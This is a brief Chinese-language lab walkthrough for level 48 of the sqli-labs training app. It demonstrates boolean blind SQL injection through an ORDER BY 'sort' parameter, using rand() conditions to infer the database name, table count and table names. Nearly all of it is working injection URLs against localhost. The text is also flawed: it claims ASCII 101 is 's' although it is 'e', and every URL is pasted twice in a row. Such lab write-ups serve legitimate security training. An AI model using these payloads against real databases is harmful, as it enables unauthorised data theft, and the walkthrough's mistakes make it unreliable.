第48关
使用布尔盲注
一.查询数据库长度
http://127.0.0.1/Less-48/?sort=rand(length(database())=8)http://127.0.0.1/Less-48/?sort=rand(length(database())=8)
数据库长度为8
二.查询数据库命第一个字符
http://127.0.0.1/Less-48/?sort=rand(ascii(mid(database(),1,1))=101)http://127.0.0.1/Less-48/?sort=rand(ascii(mid(database(),1,1))=101)
ascii码 为101第一个字符为s
........接着往后查回查出数据库为'security'
三.查表格个数
http://127.0.0.1/Less-48/?sort=rand((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database())=4)http://127.0.0.1/Less-48/?sort=rand((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema=database())=4)
说明数据库里有四个表格
四.第一个表格的名称的首字母
http://127.0.0.1/Less-48/?sort=rand(ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))=101)http://127.0.0.1/Less-48/?sort=rand(ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))=101)
说明第一个表的字符为e
后面数据查询，同上
